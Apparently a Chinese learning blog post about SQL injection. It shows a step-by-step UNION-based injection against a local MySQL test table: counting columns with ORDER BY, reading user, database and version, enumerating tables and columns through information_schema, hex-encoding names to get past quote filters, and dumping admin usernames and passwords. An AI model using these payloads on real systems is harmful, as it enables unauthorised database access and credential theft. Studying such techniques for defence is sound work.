vlambda博客
学习文章列表

SQL注入-不要相信用户所输入的一切信息

        SQL注入式是后台通常没有对特殊字符和某些信息没有做过滤和特殊处理的情况,将用户提交的数据直接拼接成sql语句直接执行所导致的问题


        按照注入点的类型来分存在字符型的注入和整型的注入

        按照提交方式分get,post,cookie,header注入

        按照执行的效果来分有基于布尔的盲注,基于时间的盲注,基于报错注入,联合查询注入,堆查询注入

        

        不大明白的是堆查询和时间的效果,布尔则用查询的真假来判断,报错则为页面的报错状态判断,联合查询则为union语句来判断


        SQL注入的问题所在则为相信了用户所提交的信息且后台随意拼装SQL所导致的


进行一个本地数据库的SQL语句测试

(1)首先使用order by 对字段进行排序,或者group by

判断当前表的字段总数,一般查询的当前数据库就是站点使用的数据库(为后面的联合查询做准备,因为联合查询字段数量一定要对)


当前表的字段数为6,那么返回正确结果

当排序的字段数值大于当前表字段实际数时则报错,那么可以通过这个语句判断出当前的表存在几个字段

SQL注入-不要相信用户所输入的一切信息

当知道了当前表的字段总数后,使用联合查询union来查询数据库的名称


(2)使用联合查询获取到当前数据库名(利用自带函数查询)

那么使用联合查询 unionand 1=2 union select 1,USER(),DATABASE(),VERSION(),1,1
那么总的语句就是SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select 1,USER(),DATABASE(),VERSION(),1,1 limit 0,1
可以查看到当前用户和当前数据库和版本,还有一些其他的数据库函数也可以使用

SQL注入-不要相信用户所输入的一切信息

第三步:获取表名(利用mysql自带库中的信息查询)

and 1=2 union select TABLE_NAME,1,1,1,1,1 from information_schema.TABLES where TABLE_SCHEMA='zsstest' LIMIT 0,1
and 1=2为假,所以前面这段话SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2则为假,那么不会查询结果,直接查询后面的结果输出,
那么union select TABLE_NAME,1,1,1,1,1 from information_schema.TABLES where TABLE_SCHEMA='zsstest' LIMIT 0,1查询到的就是information_schema.TABLES的所有表,条件是TABLE_SCHEMA='zsstest',也就是我们上一步获取到的数据库名,那么就可以获取到当前数据库的所有表了
SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select TABLE_NAME,1,1,1,1,1 from information_schema.TABLES where TABLE_SCHEMA='zsstest' LIMIT 0,1

第四步:查询字段(依旧利用自带库中的信息)

值得注意的是有些网站做了符号的限制,那么使用'数据库名'的时候我们则将其转化成十六进制

SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 1,1SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name=0x61646d696e696e666f and TABLE_SCHEMA='zsstest' LIMIT 1,1
在第三步我知道了admininfo表可能存的是账号密码,那么就来查询这张表and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 0,1and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 1,1and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 2,1
依旧and 1=2让前面查询为假,不一定要and 1=2,只要让前面为假就行,否则可能在页面上显示不了我们需要查询的信息column_name为字段名,information_schema.COLUMNs表存放着字段名,当条件为上一步查到的表名,也就是admininfo,如果被限制了''""符号的输入,那么可以使用个十六进制,使用burpsuite中工具将其admininfo表名 转化十六进制数
SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name='admininfo' LIMIT 1,1SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select column_name,1,1,1,1,1 from information_schema.COLUMNs where table_name=0x61646d696e696e666f and TABLE_SCHEMA='zsstest' LIMIT 1,1
假如有多个库里面的表名一样,那么再加上数据库名的条件就可以准确查询出来and TABLE_SCHEMA='zsstest'

第五步:查内容(直接sql联合查询)

获取到了数据库名,表名,字段名,那么很容易能够查询到数据内容了,也就是我们需要的账号密码SELECT * from zsstest.mysqltest1 WHERE id=1 and 1=2 union select user,pawd,1,1,1,1 from zsstest.admininfo LIMIT 0,1